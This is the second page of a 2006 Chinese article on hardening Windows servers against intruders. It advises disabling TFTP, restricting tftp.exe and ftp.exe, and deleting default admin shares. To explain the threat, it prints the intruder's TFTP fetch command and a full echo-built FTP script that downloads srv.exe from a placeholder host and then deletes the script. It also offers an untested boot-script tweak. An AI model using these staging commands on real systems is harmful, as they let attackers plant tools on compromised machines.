让溢出攻击远离我们
作者: 来源: 添加时间:2006-5-23 8:33:31
把tftp这个端口修改为0.。这样,入侵着就不会通过使用tftp –I Host get files.exe文件来达到传输自己的工具。当然,为了更好的安全性,我们可以通过搜索tftp.exe这个文件,然后把tftp这个执行文件按照cmd。exe那样,添加成为只有cmduser这个用户才可以使用。下面就再说说另外一个方法。
我相信,大家应该还记得一个使用echo命令来利用ftp来下载东西的命令吧,什么?你不知道?我来说一下:
echo open xxx.xxx.xxx.xxx >ftp.txt
echo user >>ftp.txt
echo password >>ftp.txt
echo get srv.exe >>ftp.txt
echo bye >>ftp.txt
ftp -s:ftp.txt
del ftp.txt
这样就可以把srv.exe这个软件下载了,我们也可以按照cmd的方法,通过把ftp的使用权限分配给cmduser,这样的话,就可以避免给对方上传软件了,其实还是有很多方法可以上传的,但是我还是留下了一些思路给读者,因为,只有这样,我们才可以提高自己的技术。另外呢,可能有些朋友可能会利用以下这么一个脚本来关闭ipc$默认共享:
@echo off
net share c$ /del
net share d$ /del
net share e$ /del
net share f$ /del
net share ipc$ /del
net share admin$ /del
@cls
但是我们这样设置的话,可能会令到他们觉得很麻烦,所以,我们是不是可以在最后面那里加上一个 net start explorer ,然后做成开机脚本,这样可能会好一点哦,为什么说可能呢?因为我由于时间关系,所以没有来得及试验,希望试验成功的朋友到论坛发表一下你的看法!
第 2 页,共 2 页 [1] [2]
站内搜索